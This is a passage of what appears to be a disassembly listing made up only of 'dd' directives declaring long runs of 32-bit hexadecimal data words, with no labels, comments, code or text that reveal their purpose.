		dd 833B5E7Dh, 6A003CF5h, 9E06AA34h, 77A6D31h, 6F2DBA53h
		dd 908F043h, 0A40003F2h, 5C1E8E93h, 0EBFC1h, 0A16389CBh
		dd 9E2A3008h, 0A20BF600h, 8C01FBB0h, 7986FCC6h,	6AE00007h
		dd 0DC75AE02h, 8E388D50h, 80AABED8h, 0B120DBCFh, 0B0285594h
		dd 777601AFh, 0AF05F549h, 0ED3EC89h, 4292EF00h,	5491C916h
		dd 0A97A07A7h, 0A728C15Fh, 9CD3C085h, 350052DFh, 3DCC303Bh
		dd 0DAEC3Ch, 1AF793B5h,	0AE8537C9h, 382E101h, 55FB0D16h
		dd 0FE662081h, 0F08F99D6h, 0AC01C87Dh, 92A6370Bh, 25614C13h
		dd 84E1E0h, 0CAD3446Dh,	0F2FE8180h, 0ABDD08C6h,	0E88C5020h
		dd 0DEB51DA3h, 0BA53FFh, 2030711Eh, 5703B3DAh, 0F5390827h
		dd 13003B5h, 0C770C9ACh, 5381CBA8h, 26F63501h, 0ED54237Eh
		dd 100B9881h, 80A24ED2h, 58928931h, 72C37BFh, 4420A7DFh
		dd 105643DEh, 2AE42001h, 36774EC2h, 3976186Eh, 0A20769C3h
		dd 0F2062694h, 3168C6h,	351541C6h, 0E8F7148Dh, 0E5111918h
		dd 0F0E691D1h, 70174BAh, 0C71205C6h, 9A87B0B8h,	0CF00C152h
		dd 1B93E7DCh, 55786983h, 0C3D4947Eh, 605C5087h,	450E8CD1h
		dd 68EB7EC1h, 406764DEh, 82585DE9h, 0C0815035h,	3B6D143Eh
		dd 403CC88h, 0CDF1CA6Ch, 723E1F0h, 0FA3F0500h, 241D5D18h
		dd 68B039h, 0C3369B40h,	12262EA9h, 0BB0122F0h, 0BC519F2Bh
		dd 0C1D1F8ABh, 0CB245E0h, 8677DB36h, 0FA004728h, 6A6923EFh
		dd 0C89B42h, 0DCE3BE82h, 9ECDC14Dh, 1CD8F71Bh, 0BA8BC048h
		dd 0A7670065h, 92C481CEh, 8EE8835Eh, 0DF20A46Fh, 0B47566C0h
		dd 0AE8113h, 0AAE88F3Bh, 38566FC6h, 0A75D9307h,	26B01227h
		dd 33ACAF58h, 0CCA9C19Bh, 80323AD1h, 0A4147698h, 7A9BAA5Eh
		dd 865D0161h, 0C2E3E4C8h, 0F949C4C6h, 4F6D28C0h, 0C0F5B470h
		dd 0CA683FE1h, 6B037614h, 0DC1E1017h, 800BA224h, 0F8BC2BDEh
		dd 7CFB38BFh, 0A919AA80h, 102C639Bh, 0FD80370Fh, 0EC3800A6h
		dd 0E75551h, 62282A72h,	0F7A48DB1h, 0FDF09Fh, 91DC8A9Ah
		dd 74C2E192h, 67F36F1Ch, 0D0068180h, 2EE887h, 933DEDA8h
		dd 968DB23h, 25006373h,	3C8BF001h, 5715BE5h, 0AD657E04h
		dd 334580CAh, 1B0B771Ah, 80D426C6h, 48F94C3Ch, 44B90343h
		dd 0F241313Fh, 80E474C0h, 8F3EF63Dh, 5E3CECD6h,	0EE7BC4C0h
		dd 283510h, 0DA325BBDh,	3F148CE3h, 80E028C8h, 12282230h
		dd 4D2480E1h, 5B00D27Bh, 0B4A1A884h, 995E00ACh,	0F8FD857Eh
		dd 0F8F91EB6h, 0B1001F12h, 0D5CD565Dh, 19BB33Ah, 0C6EEAE77h
		dd 0F0EA6C62h, 0BF07F17Fh, 4DFB35B7h, 0BAA02D9h, 5D47E89Bh
		dd 0F447EE02h, 8872005Ah, 0DEB3D12Eh, 0F17C2657h, 7B333Ah
		dd 440A6785h, 8E5F4Dh, 48923843h, 0D732EA25h, 0F6EFA200h
		dd 2275D31Dh, 0D1E1001Fh, 8F74A89Eh, 0DC007021h, 7EFC9793h
		dd 50541BBFh, 703A05Fh,	0CBC318F3h, 2AF53043h, 0D60041C7h
		dd 3F5D29BDh, 8CE104h, 0A8D4766Ch, 0FCB15695h, 551F0100h
		dd 0D3193E7Eh, 0E75B00F3h, 0F854FECEh, 0E2009116h, 0A390134Ch
		dd 52F246h, 248CF1AEh, 0BE9ADFFh, 30663519h, 5DC8B2E8h
		dd 0FDCA005Eh, 6EE7E085h, 0D500C5E8h, 0F97EBDE2h, 7613647h
		dd 46089315h, 0DD27E0ADh, 0E90007FBh, 7FAE71EFh, 3D948F8h
		dd 0C08CFEDh, 0A990DCC5h, 0B802F218h, 7258520Dh, 92846071h
		dd 0E11B07BAh, 106FFB39h, 23BDD5Ch, 8F45C200h, 2BB6DA65h
		dd 0D77C006Ch, 4BAA129Ah, 4F909EEBh, 0F421C42Ch, 0F84ACC07h
		dd 93D62E60h, 0F0E050B0h, 50E6ECh, 371DC2A8h, 0B662DD66h
		dd 6E48D77Fh, 0E8F10304h, 90341ED9h, 0CCA88Eh, 7A6F245Fh
		dd 4A442E05h, 4816100h,	0EF911F17h, 0F8ECF6AFh,	2B260027h
		dd 0E84DC5Dh, 83002879h, 4C744970h, 0C7274772h,	0A008E3BEh
		dd 0B5DBA6B7h, 41B44800h, 0A5F2DC0h, 0FA1301D8h, 11D0BB3Ch
		dd 7D3BD8AFh, 8BAAF500h, 67434727h, 0E884072Eh,	0E012D5CBh
		dd 0A4586B88h, 0E4B2DC00h, 0BDD8376Ch, 44450054h, 23DDDF2Ah
		dd 0B072620h, 0B1BF8F46h, 0F41AA1C0h, 6D7003Eh,	89D27F41h
		dd 61015D26h, 0B3E45052h, 58802305h, 70D73363h,	480E867Ch
		dd 0FE4C444Dh, 0C2F10FBAh, 228700CCh, 0C5C46CDh, 0D5D3826h
		dd 700959D4h, 403104h, 0CDA8FFCh, 7147102h, 9E961A5Bh
		dd 0A25770A0h, 1D169C5Ch, 44033A89h, 0D8B69F79h, 0FA2F7C16h
		dd 0D6270063h, 5BD7479Ah, 9D00B3B8h, 0C7837339h, 1FF3AD30h
		dd 0E4A2DCE4h, 968680A8h, 1BCE237Ch, 0B06DEE1Dh, 0BBC9C2C0h
		dd 79A5AAh, 949DAD1Eh, 3C8ADFBFh, 5963B809h, 0F150A54Dh
		dd 0CE8EFF1Eh, 0A9473F9Ah, 36B0C17Dh, 2A0022Fh,	70F85CE1h
		dd 0B8404C14h, 12004127h, 0F32139B4h, 0FC0C301Dh, 4C6700EAh
		dd 871CB9EDh, 760F5BCFh, 4C3DAE7Ch, 521D684Bh, 550088DDh
		dd 7B50E8E0h, 0F00A8DDCh, 0DC2DFB43h, 0B86D900h, 16D07E6Fh
		dd 1902555h, 1EADF517h,	0C208F0C8h, 25F373Eh, 86B6DD29h
		dd 0BCC9032h, 48D6013h,	0D1214E99h, 9608C600h, 0E374864Ah
		dd 0EAFD02D6h, 24887963h, 5EEB4068h, 46288F01h,	74CDBF14h
		dd 4BB2F0h, 0A7CFCEABh,	0F0E5E01Dh, 0C203A0E8h,	2334A96Fh
		dd 2C340345h, 3F2412A6h, 0BDD5DDA8h, 90A4A30Ch,	6004802Dh
		dd 0CA5DF845h, 4F00EE4Bh, 35CC1815h, 3B82A66Eh,	3BCC6D8Eh
		dd 34989000h, 0F879FFB8h, 0D3456407h, 3EB049ACh, 0FBA316h
		dd 0CF746BD4h, 0A79A958Fh, 77FC1048h, 3017F00h,	8362C487h
		dd 77E10B06h, 8280A6FCh, 389022ADh, 0E5CFE3Dh, 0A0FFF8F9h
		dd 38D584Ch, 0D7E50082h, 4FB4DE40h, 5D1EFA2Dh, 0B340B921h
		dd 0E31EBF4h, 0D5E005Ch, 438F9D25h, 6C0CB13Ah, 3070C3F6h
		dd 5AC858CBh, 0B780EB3Ah
		dd 7F334410h, 0BD000C46h, 0C8CE76A9h, 759865h, 0ADECE894h
		dd 0B763C2CFh, 0CBF16D00h, 4BB0EA67h, 0BFD200A3h, 722258FAh
		dd 4A794E35h, 12F6081Ch, 1BB4D840h, 291643h, 95A0DC04h
		dd 59D7787Ah, 9889BC00h, 13033A42h, 0CD260125h,	0AF8F5B49h
		dd 6040F179h, 60711A0h,	0CB3754A5h, 0BD77EA30h,	90C4B0FCh
		dd 85B2005Ah, 552C6F6h,	64139C0Ah, 9800EBB5h, 0FAC5DF03h
		dd 8142005Ah, 9593CEBEh, 78005264h, 0A4253FF4h,	26D672C1h
		dd 148CA5h, 9FF0D098h, 0AC00F224h, 3D4EAA18h, 0AE3541h
		dd 0F6223982h, 0E2738F40h, 50C8BC00h, 0B6DCA566h, 0C49E0F18h
		dd 0FB00A931h, 92363243h, 40125C01h, 8578D82Ah,	0A19DDCh
		dd 0B63970F5h, 0F40F6EE5h, 775D3A2Eh, 17BB420h,	2D476B00h
		dd 276F0DEBh, 95B300AFh, 0B8083A90h, 0F8C1F93Dh, 47A10F37h
		dd 30ECDD8h, 9B940D50h,	3098CA04h, 5401F14Eh, 15B886EEh
		dd 5EF4C2F6h, 420616CFh, 0CD100E9Ah, 0A8FAE185h, 5F6B00E0h
		dd 4708C316h, 0F1750353h, 8540FCDFh, 8FB400ADh,	956A2DA7h
		dd 0E84BC117h, 6CD8C40h, 1CE77380h, 18A4F23Eh, 9C671810h
		dd 0C733E078h, 0C0541164h, 3B627A75h, 0E9806699h, 0C0A54160h
		dd 920F0E42h, 78AFF2C7h, 0A08E18h, 0B5CE91B0h, 39DD7351h
		dd 45C51200h, 70B1EB90h, 7FE900A2h, 294A592Ch, 0D8F1FAE2h
		dd 0E10D5C4Fh, 98AFFDF4h, 0C74D830h, 0D87F10BDh, 211DDF30h
		dd 910C180Dh, 8ED0AFh, 37DB75B8h, 2202DD49h, 70B0C328h
		dd 0E0A8C100h, 809DCBAEh, 0FE71E5D1h, 178F8C4h,	113A0750h
		dd 616B71E1h, 5EFC6075h, 2C94F907h, 382075C0h, 1E6C4762h
		dd 0C0E4E7FDh, 0CDFA4F7Eh, 40E6810h, 8083EC2Fh,	9008AB72h
		dd 0E51D384Eh, 15BD0075h, 92B0B6A4h, 57074FA3h,	0BAAA462Ch
		dd 0F6C99CC0h, 3E8B7B2Ah, 5380083Ch, 0A173FDF5h, 5B3C8C50h
		dd 0EFA4899Ch, 0EC7D80CEh, 0E2183E42h, 0F64F00BEh, 8AF7C5EAh
		dd 3930C2CCh, 9232D45Ch, 4B31000Eh, 7BA23542h, 851C4386h
		dd 0A4EABC7Dh, 0D4D64C0Ah, 40068C5Bh, 0F0F451h,	3121CE28h
		dd 0BB0E3DAh, 13007494h, 0C4485586h, 29F262DBh,	0B3211A2Ah
		dd 17023EB0h, 89EA0110h, 44EB0876h, 85449BA1h, 92E54477h
		dd 1EC988h, 74CCB952h, 60CD2FF0h, 6F08E960h, 16C62AECh
		dd 0B9E366h, 53971A85h,	7A001494h, 61119352h, 129249h
		dd 0B7964C45h, 0DCD6ED68h, 5BA86D07h, 0E7E731A6h, 618D140h
		dd 0BD9700B5h, 9EF8D68h, 593CA92Fh, 41A88F7Dh, 80CF49D9h
		dd 94F1E188h, 33F7013Bh, 1C2B6F2Ah, 1310807Eh, 4709CE03h
		dd 0D09F0012h, 3D3E92A9h, 0A8016E26h, 6485FD25h, 0B84346ABh
		dd 0ED678831h, 79EB60E4h, 437D30Ah, 9176B606h, 1CF421B8h
		dd 0C0A0117Eh, 0A56C679Ch, 6E0052D7h, 0D1EAF73Dh, 0ABE7EDh
		dd 732E96AEh, 72A6D98Fh, 388ABB1Ch, 6D4E7807h, 9B485900h
		dd 0FA4F4CD5h, 2ED21D03h, 98043412h, 8407CF9Ah,	9BC54E81h
		dd 12B4BEC4h, 0FBDB67h,	1615850h, 0F2B82E5Fh, 8C9410A0h
		dd 5DF01679h, 7A5A9800h, 1773F647h, 517B69h, 62AEDE3h
		dd 46A7DC38h, 703FB100h, 7AEB1972h, 1FAE4ACh, 0A1614A85h
		dd 0E060170Bh, 0BB00392Eh, 96BDF0DEh, 0F0CE7D88h, 20F80038h
		dd 0BC17DDA0h, 6E00AFCDh, 4592053Bh, 0E56707Ah,	0DCEC4907h
		dd 0B035D842h, 4408A480h, 2037F6Eh, 0AE9EF6C2h,	7813C0DAh
		dd 3820C0A0h, 0B6E7A739h, 7FA55801h, 0BEFE8722h, 63D4E4h
		dd 0ABD34AC0h, 0F378B94Dh, 0DE6E9C02h, 81229B70h, 0C4BE9398h
		dd 0ED10FECh, 0EDDA25E5h, 41788A60h, 379FADCh, 75427100h
		dd 0D9B321D4h, 4C5200DEh, 6F2644B1h, 0EA74D6F5h, 4BE65800h
		dd 0E820EEB2h, 8CF901CEh, 0B47A36CDh, 0DEE7206Ch, 12AAA100h
		dd 84DB0569h, 97CA1249h, 4ED800F6h, 5855B3D7h, 4BAF9506h
		dd 9A15Ah, 5D72CF54h, 0CC19CE5Fh, 0D6E0CDA0h, 328DB700h
		dd 0DF2212DDh, 0FC257CD0h, 38B100DCh, 6DE20F17h, 8EB0A86Fh
		dd 655D6C00h, 0C6BC8CFAh, 3E30005Fh, 42B19BC0h,	37A602Ah
		dd 0F035CA28h, 8F711100h, 52DFF050h, 730D007Fh,	604A8C5h
		dd 6B00A93Fh, 0F6D55872h, 1EA1690Fh, 9DB3A424h,	0C8CD401Bh
		dd 7DFC51BBh, 0B1C3DD0Dh, 28FC10C6h, 18A30756h,	0F1C09D6Fh
		dd 38BDD35Fh, 8BD70038h, 78935616h, 0A8A53D12h,	0FC3B6582h
		dd 0DC42C9CAh, 0FB9EBBC0h, 0BA0E47E0h, 60EEF0E7h, 32134A1h
		dd 44D4868h, 805C281Dh,	76463BF2h, 220084FDh, 6DDFC86h
		dd 303ABE3Ch, 25E2025Eh, 453B7737h, 2FB780E3h, 0B5ECE0E7h
		dd 18BF0091h, 931FE478h, 570337D6h, 8F3AE96h, 13D0876Bh
		dd 0C88A9Dh, 837CCFE3h,	0EBA01BE6h, 18D6FF07h, 0DC4CA42Ch
		dd 105D0723h, 0A0DC2D88h, 3BAD3F91h, 0F85FB07h,	8F8B48EEh
		dd 34D4800Ch, 0FE0E39Bh, 0F397FCE8h, 70960AE7h,	0EF583BABh
		dd 0E6129000h, 0CCBA25B4h, 0CD6A3F9Ch, 0C9D903FBh, 0B9EC8FDDh
		dd 0D8B195C0h, 92CE8400h, 0DF0B758Dh, 35D700AEh, 1CD133EAh
		dd 1F269B6Eh, 920E1616h, 4F7D2769h, 0EBF13EC1h,	56DAFCh
		dd 0C968CF29h, 5FC2859Dh, 0AA929001h, 0C4B55B02h, 7B7BFCF8h
		dd 627FCDh, 0DE4BAF0h, 789AFF63h, 39294500h, 0E5B9613Dh
		dd 85A101A7h, 1B9DF141h, 92270A5h, 165139h, 575B9C2Dh
		dd 6D8B8h, 30865250h, 0B76896Eh, 0C5B40F50h, 0A1019A7Bh
		dd 5FB55CB6h, 3EC8E8D6h, 6AE400C8h, 3F832654h, 0CB002EB2h
		dd 3523F5CAh, 32B44Eh, 17B1A2Dh, 8D703006h, 0B3DC38h, 0FD3142EEh
		dd 63F2ACh, 0CFBB0937h,	0FDA5433h, 565D5101h, 0C81A72F3h
		dd 676EC4h, 0F5EB93BDh,	3354A1CFh, 0F3DD3E00h, 0CD1D98CCh
		dd 37BA005Eh, 7A0D52D3h, 0EBE6D90Eh, 0CE5BB50Ch, 0F77A57h
		dd 234896C0h, 92DE6BEEh, 0BA0078F6h, 64B3FB2Ah,	7D5BBD21h
		dd 0A8AC0002h, 0B8799646h, 0C8018E3Ah, 77222B65h, 0E4F0E120h
		dd 0E88F1274h, 0F17BF1EAh, 1483F88Eh, 26613300h, 30FA8A0Dh
		dd 0AA5728C4h, 0FAF0095h, 7C5ECC88h, 7500CE2Dh,	847DB71Eh
		dd 261129Fh, 0EADBADCh,	1E408338h, 0B4E4FC62h, 114EE01Ch
		dd 935B7D40h, 3908296Ah, 280F5CB7h, 66417AF4h, 0E0C14D07h
		dd 0FD006552h, 3DBB416h, 0F8B2EE33h, 890004Eh, 171F3C4Ch
		dd 6C00D377h, 0CC2F24B6h, 0FC92E7CDh, 5B763E20h, 585C4800h
		dd 0B13A9AD9h, 4150B600h, 0D653402Eh, 48C0007Bh, 0E1141730h
		dd 0CA000683h, 0D867D10Ch, 34403E3h, 0DFBFE738h, 2AF0CE31h
		dd 9E759CC3h, 0D08E5300h, 0B4B247F0h, 2FB48E9h,	0CD989100h
		dd 255067C4h, 9F83B500h, 0EEC5A9F5h, 9792007Ah,	4EECB3B1h
		dd 0A8069BB2h, 0A9D3BDCFh, 0B6FD1F08h, 38D4C001h, 21613CBBh
		dd 1FA3B800h, 0BC28CF69h, 2BF00076h, 0E2E3EE41h, 0F77BF8BFh
		dd 0F5B95Ch, 1B267C5Ch,	7F73111Fh, 5ECB0520h, 833BA696h
		dd 0EEB8E5EEh, 35028440h, 746491B2h, 0DDFC68D5h, 6C3F1EF1h
		dd 1B880370h, 0ABA04048h, 7F1DB412h, 0F380F505h, 814366Ah
		dd 0DE9900BBh, 0CE5A2D67h, 64018469h, 20E080D1h, 0E2F49033h
		dd 4B5C0022h, 167442ECh, 6B7115C7h, 0FA17B63Dh,	3DE77B1Dh
		dd 0B1057C0h, 0C129E0h,	0A87DD738h, 0A5321BDCh,	5AF22400h
		dd 0F836D576h, 0A23D0043h, 5CABFA73h, 0F71DBB90h, 89008E17h
		dd 2D142611h, 621A009Dh, 27507FEEh, 173C4528h, 5C1C87B3h
		dd 76008F92h, 3758C2h, 0DE13614Ch, 0FFC48D91h, 420639h
		dd 1140D86Ah
		dd 75D30C6h, 0AC2F4115h, 583540EDh, 0EF0034ECh,	93841D2Ch
		dd 0E0643127h, 0F7FEBh,	577B1B63h, 0A59FAAF4h, 7D5A0700h
		dd 49465E6h, 0A484052Dh, 0D9C66Ch, 0E5E976D0h, 9B003F5Ah
		dd 371A39D3h, 1E65B0BCh, 470EFFB8h, 0DC978224h,	900CFE31h
		dd 0C659B78Fh, 0FDA63FA4h, 2AD78600h, 0EC798132h, 548CA000h
		dd 310D9568h, 27382E3Bh, 396B00CBh, 28473D45h, 0BCC46924h
		dd 0BD921602h, 30E2E33Fh, 9B099C81h, 0C03FD730h, 44248781h
		dd 94A0F9C4h, 2DCFAEFh,	0E57FA72Dh, 1E408B4Ah, 3D005E36h
		dd 2366165Dh, 53D27Eh, 90DEBC70h, 0F8926428h, 0EB6B4B00h
		dd 0A6843234h, 876700F5h, 45C13761h, 1C000BD2h,	3E1949C5h
		dd 0A33438h, 3302FE4h, 18EC3C8Dh, 0AA605800h, 0D21F208Eh
		dd 0D4C099Dh, 27F0C197h, 4F3AC400h, 64A9142Fh, 6EDC2CDAh
		dd 5BA3002Fh, 10715718h, 0A68F7A00h, 6D1AF8B7h,	0EAAE1DC3h
		dd 138BC340h, 0C6D00D47h, 2C137AEDh, 1600654Dh,	0E2EF97FBh
		dd 575D2668h, 0AD750140h, 8E2AD8F0h, 7E10CB48h,	0DEA84080h
		dd 45B6EAh, 3FE6D7A9h, 95A999Eh, 7B3B5309h, 57B801E1h
		dd 0B4206686h, 74A4A0AAh, 839E0042h, 1F3D995Ah,	3E071E43h
		dd 0C0CAEE7Ch, 0F70385Ch, 0E0F30955h, 0B0FB5DC0h, 8301A314h
		dd 0CE8C9377h, 95D938A1h, 0CBC6E840h, 98D30948h, 5424895Ah
		dd 0C70AAF23h, 3CBFC7h,	0B4EDD0F8h, 0F60B67h, 0A603AA5Ch
		dd 0F02CDB8Eh, 0A9A310C0h, 9B02F9h, 3B61E1FFh, 921D28AFh
		dd 76E36012h, 4EEDE300h, 534668Ch, 2FB5E918h, 7D9C405Ah
		dd 1E761767h, 0B8006DE8h, 1913B9F4h, 783FFEC0h,	8E89C080h
		dd 0BF0ED550h, 1500BDF4h, 3517C462h, 96A288h, 0B95BC2CCh
		dd 0E33194D7h, 37AB4200h, 139E3BDDh, 58C11F35h,	0BE0800E0h
		dd 0AF5E9B80h, 43ECFFE2h, 0EF35A300h, 5981567Dh, 15301C68h
		dd 18118006h, 1E80389Ah, 6367440Eh, 238E075Ch, 0C8AA5F93h
		dd 41B4F2h, 0FADC9356h,	9DE9AD5h, 286F4E00h, 6C8592F0h
		dd 34B4A08Ch, 1EAD25AFh, 560095FEh, 54175536h, 0CF505C1Ch
		dd 1853A318h, 0E099D2B4h, 0DA350Fh, 6B67A8C6h, 0D7A70FC5h
		dd 0B7C31Dh, 0B7E0502h,	0B40239ECh, 43F17CF4h, 2990A26Ch
		dd 40E4C241h, 858917h, 740BC7C0h, 0A07ECD25h, 9A2CBF04h
		dd 4080B336h, 4998B66h,	0D8EFA735h, 121887E0h, 0B5E3FAD2h
		dd 0C21D6D8h, 685548h, 45FD1D4h, 2B97D7Fh, 0D6086A81h
		dd 48400FBFh, 0D7F09C3Ch, 0AA5DDE07h, 0D0400950h, 7436BAF4h
		dd 0E17E0059h, 56CF7299h, 2F019F16h, 9483B78Ch,	74205C08h
		dd 0B00C06B9h, 3175BAAFh, 0DB37D81Eh, 0AD07D8ECh, 0D9B29Ch
		dd 0BE739A08h, 155F0654h, 0A049C9EBh, 0E50A4B00h, 0F2784F57h
		dd 0F9EEAE9h, 95A38990h, 74CD1EC0h, 0E63C96A5h,	0CB121805h
		dd 0E8062CB8h, 1AD9EEBBh, 0C00EFB2Fh, 14D6B060h, 0E661B91Ch
		dd 0C2F93084h, 1249C81h, 95FA4840h, 1EE10037h, 8018BC8Eh
		dd 2F129B7Dh, 984F07FCh, 5904BF02h, 908088FDh, 0C7C60AC3h
		dd 0D049DD48h, 0B83CC1B7h, 6CB3300Dh, 0BCF5C854h, 6031D4h
		dd 35150334h, 32BD8641h, 0A2790403h, 0BB240738h, 9096F322h
		dd 0E1FB1h, 6D182FB0h, 44E8EF31h, 0F4D8C50Fh, 6C41E048h
		dd 35C0B6Bh, 0F19BCC4Dh, 5FE02EAAh, 47C702Dh, 1A11C100h
		dd 1E9ADB95h, 21DF0072h, 0BA3002E4h, 0E3CF46Dh,	0C8EAA8C7h
		dd 0D649D200h, 953492D1h, 0C65D5C51h, 2D03943Ch, 0F966CE61h
		dd 5A0EE000h, 42A3F7D3h, 0DF118D6h, 0D7430944h,	9218F200h
		dd 9FBDFBC9h, 8F77001Dh, 242712C7h, 1FE009FFh, 300CC200h
		dd 0F555762Bh, 6CAE0008h, 0DABD24Fh, 6F00F693h,	9E94D8EEh
		dd 382936BDh, 0C980E57Dh, 0D69D5096h, 6B2C5C84h, 6C2C7155h
		dd 0AA208602h, 0E27C40AFh, 70107D02h, 83932ED4h, 0FCDB0746h
		dd 0E7C26049h, 0FF00055Ah, 16EB609Bh, 1D235239h, 0C09DA57Ah
		dd 66C584F1h, 1F0E3F55h, 869A7E25h, 1E10A7EBh, 80441297h
		dd 0B9A8E430h, 3524FFF6h, 1B2668F7h, 0A5EE5D03h, 0BAA24C31h
		dd 38593318h, 0FA00CAF3h, 0F5BABBA0h, 3D9BA620h, 0A0CCA5CDh
		dd 18F6EB12h, 0C4E76ED0h, 0FC008C9Ah, 0F0B9D44h, 9DD88450h
		dd 3E75B750h, 52EBB603h, 0AD54A6FCh, 7A8077C7h,	3B5A9h
		dd 57B93D87h, 47A88A30h, 0F5697400h, 4958B0D7h,	4BC00079h
		dd 90E6AEA5h, 0D200111Bh, 0E1341D6Ah, 0E3A8634Ah, 0F080E16Bh
		dd 190441BBh, 141BFD72h, 190C8CCh, 3CE955Ah, 0C4634B5Eh
		dd 0F200F347h, 13F0172Ch, 5F2EE9h, 0B6344461h, 0C93CA96Ah
		dd 60330700h, 0E46819D8h, 90AE88Fh, 3851FCD7h, 0A5619580h
		dd 5801D8BBh, 1F704FFFh, 905095AEh, 0CCEA146h, 0C3F6C25Ch
		dd 8138F808h, 8AEC0358h, 7BF50D73h, 89520318h, 8B99596Dh
		dd 40E748B3h, 92F64B67h, 1AAE3B00h, 554ED1B2h, 1C6A009Dh
		dd 4D44EEC3h, 31005E70h, 0D5F10C8Eh, 392F152Ah,	915C46A0h
		dd 61D98801h, 0C0C9C6B8h, 1C00A1CFh, 5C1FD568h,	50807266h
		dd 1DD877h, 0BFF81BBAh,	0DA2ED437h, 0E6D55400h,	5344CA4Fh
		dd 0CCF307FBh, 40423ADDh, 4D79E7A7h, 58FDC100h,	6451CE45h
		dd 8498C7h, 7BA0092Bh, 0B5F3E4ACh, 0F6C94912h, 0DA88A200h
		dd 2E1AB950h, 3239418h,	0A20BABA8h, 0DE331688h,	6BE30500h
		dd 413B8228h, 7A4C00DBh, 6FC02784h, 2200F9B0h, 85E119AAh
		dd 0F3325Eh, 0CDF02145h, 961C10EDh, 0F535B302h,	0E091BF2Eh
		dd 2D4DA4h, 1F31A60Eh, 35FB815h, 496C3F00h, 3E63EFBFh
		dd 84383E12h, 0BCA54880h, 4C0C0F42h, 1F9FD039h,	0FFDCD782h
		dd 0C875E5C0h, 7C0EF5Ah, 1BFC25C4h, 0E2063098h,	800C697h
		dd 912F7E1Ch, 1A763D7h,	0F8E8159Eh, 205E6601h, 10CF1203h
		dd 0FEC40049h, 6F148323h, 0CA80801Ch, 39D9062Bh, 0CE1A200h
		dd 28ED9CD4h, 3E1BF06Ch, 8E0C5105h, 0EB316742h,	0E6547600h
		dd 2279CF63h, 8268C0C8h, 7EBA08A0h, 53284660h, 18693DBh
		dd 0E0EDF9ACh, 4BD9D031h, 4A227740h, 17E228DBh,	9D318C8h
		dd 2F632002h, 9DB5883Bh, 0EDC08639h, 97503673h,	117123h
		dd 5479A333h, 4BFD8B4Ah, 12E6DF00h, 90B9BD2Dh, 0EED10080h
		dd 0BA2E7E23h, 0D4013D3Ah, 0B93B86Eh, 0EF18E36h, 0FD8F30h
		dd 0C11F4E54h, 6DBD0AF4h, 40BB5F00h, 48499D33h,	9B5B3E29h
		dd 7B432380h, 174726B3h, 0EF24F701h, 0BBC14989h, 9D4B30h
		dd 95A703B9h, 6199832Ch, 8B07151Dh, 0C6AD54C0h,	0EB81125h
		dd 170DD051h, 84A29620h, 0F4076C1Ah, 0FA613ACBh, 0BF75200h
		dd 2A90E295h, 8448EDh, 3E563B58h, 0F2D54987h, 3E0D101h
		dd 3888AAD0h, 125C32D0h, 0AC30607h, 5B06D1Ah, 0C085D636h
		dd 0BB8DB053h, 58DC074Ch, 993B18B6h, 0FEC2DB10h, 0C94005E5h
		dd 404BEB08h, 98835CCCh, 0A779DC0h, 30D76C00h, 0FB444D40h
		dd 0D6DA0349h, 0DB63DE28h, 0DDD5B8B0h, 0C9253300h, 0E9BDA418h
		dd 0CC90005Fh, 0A5C75782h, 40000FFEh, 288653DFh, 0F84AED85h
		dd 7E83FB35h, 0BFBBECDh, 0C5A778E0h, 566EF600h,	0C4ECC13Bh
		dd 0FCFA0021h, 0D310C2C6h, 0AE034FDEh, 30CB6786h, 8536F880h
		dd 0BC970164h, 59EF0CD0h, 6C40F235h, 0E000B391h, 727CDF65h
		dd 0FD0B795h, 0C00824E3h, 7B1A92A0h, 0F572C69Dh, 0EF871900h
		dd 7C1050Bh, 1F910085h,	0F79723C9h, 7100AA74h, 6A664741h
		dd 3F2DFABh, 0DD8995ACh, 0C6B86E13h, 4700438Eh,	3D04F1B4h
		dd 27F7C3h, 0A9EDEFA5h
		dd 0C6CA81F5h, 5967650Fh, 4B336063h, 1FE1C8h, 0C347B173h
		dd 5BBFF49Ah, 151820E0h, 0D4E16189h, 0B1E83BB3h, 780CD58Eh
		dd 108050C8h, 9F902019h, 8FB909EDh, 0EF871811h,	773F3017h
		dd 0D001DD25h, 5F57560h, 50BBC9D9h, 9E4158B0h, 850F2983h
		dd 40BC0601h, 4552FABh,	0F5B00C98h, 0D69E2B63h,	30C0CF7Ch
		dd 0CB7B36C6h, 95C0440h, 80C8943Ch, 564443ABh, 55605960h
		dd 4223E2h, 0FDDACA87h,	0A3C0BA7h, 0E75FF3Dh, 0B9BB92B8h
		dd 2ECD4DAh, 0DD5E009Ch, 542F01DBh, 937BC559h, 4F674A00h
		dd 74657D19h, 3A1B03BCh, 0B11A5E3h, 0F1AF94F0h,	0FAB8AC3Fh
		dd 0A3EDF00h, 0C03CFBF5h, 2B7402h, 0F42F1424h, 90C646FCh
		dd 40EB5D00h, 1F5B9B26h, 19E3000Eh, 9CD7497Bh, 9307F3F5h
		dd 6F61BBF4h, 0E87EC9C0h, 0B97FA6h, 1CEAA59Eh, 839004C5h
		dd 0EFBD583Eh, 0D74D2611h, 43C7DB8h, 0CC323894h, 0A32C1D6h
		dd 0E8BEF108h, 52002012h, 7A3EA73Fh, 0F43627D5h, 4A5000E7h
		dd 30C1E8A9h, 0DB00BDC8h, 25FB32FEh, 74A32D54h,	0E2B03322h
		dd 0D9B86720h, 2307F7A9h, 8173E13h, 0FA2D3690h,	3B871B6h
		dd 318E1560h, 0E1E120DAh, 87E021E3h, 0A79C8618h, 26AA8179h
		dd 219E23E9h, 0BE0060B4h, 0FCE8A830h, 0C10295A3h, 9D7E9958h
		dd 0EC60F973h, 0BD411DB6h, 0B592C1F2h, 47E43880h, 0B25C4DEFh
		dd 0D309B7Ch, 906B3108h, 9AAC1FC7h, 0DCDDC061h,	0D5DF5687h
		dd 315B2E00h, 6A65B2A3h, 4F7407C3h, 804EE48Fh, 0DF64C4C9h
		dd 0D6728D1Eh, 10CD1940h, 0C3E80Dh, 5FE26C5Bh, 0ABF3F36h
		dd 0C8D4AD05h, 728011F9h, 68EE1Eh, 0F44C9BEAh, 6E7C19E8h
		dd 77366F00h, 2B294733h, 71B0079h, 3FED14E5h, 6212019Ch
		dd 5600AADDh, 0F505C6DFh, 6EE71E1Eh, 5B9A4022h,	70FD3ED9h
		dd 78F1CC0Fh, 0D8D22057h, 0CC7AECDCh, 0CD2138D4h, 6178EA01h
		dd 7DADB61Ch, 74FF26F0h, 7B7C0169h, 0C0FDB16Fh,	0D43FC56Ch
		dd 0F60379EAh, 54CFC5CAh, 238F814Dh, 18275F0h, 6C70FCDCh
		dd 0DED9CAFAh, 1039180Fh, 2EB10F84h, 6EA03682h,	0C3C2F2F8h
